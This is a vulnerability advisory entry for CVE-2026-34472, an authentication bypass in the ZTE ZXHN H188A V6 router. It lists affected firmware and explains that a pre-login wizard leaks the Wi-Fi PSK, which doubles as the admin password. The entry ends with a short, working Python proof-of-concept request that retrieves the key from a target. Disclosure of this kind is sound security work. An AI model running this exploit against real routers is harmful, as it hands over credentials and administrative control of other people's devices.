PACKETSTORM 7.1 HIGH

📄 ZTE ZXHN H188A 6 Authentication Bypass / Credential Disclosure_PACKETSTORM:221650

7.1 / 10
HIGH
CVSS:3.1/AV:A/AC:L/PR:N/UI:N/S:U/C:H/I:L/A:N

Description

ZTE ZXHN H188A version 6 suffers from an authentication bypass vulnerability via a pre-login wizard credential leak...
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Basic Information

ID PACKETSTORM:221650
Published May 20, 2026 at 00:00

Affected Product

Affected Versions # Title: ZTE ZXHN H188A V6 - Authentication Bypass via Pre-Login Wizard
Credential Leak
# Date: 2026-05-20
# Author: Mina Nageh Salalma (Monx Research)
# CVE: CVE-2026-34472
# Vendor: ZTE Corporation
# Affected: ZXHN H188A V6.0.10P2_TE, V6.0.10P3N3_TE
# Category: Remote / Webapps

# Description:
# Unauthenticated requests with _type parameter bypass the QuickSetupEnable
# gate, exposing wizard handlers that return WLAN PSKs, SSIDs, PPPoE
usernames.
# Leaked Wi-Fi PSK == admin password after uppercasing = full auth bypass.
#
# MITRE: https://www.cve.org/CVERecord?id=CVE-2026-34472
# Write-up:
https://github.com/minanagehsalalma/cve-2026-34472-auth-bypass-zte-h188a-router

# PoC:
import requests
data = {"IF_ACTION": "getPassword", "_InstID_PASS": "DEV.WIFI.AP1.PSK1",
"PASSTYPE": "PSK"}
params = {"_type": "loginData", "_tag": "login_entry"}
r = requests.post("http://TARGET_IP/", params=params, data=data,
timeout=10, verify=False)
print(r.text[:2000])

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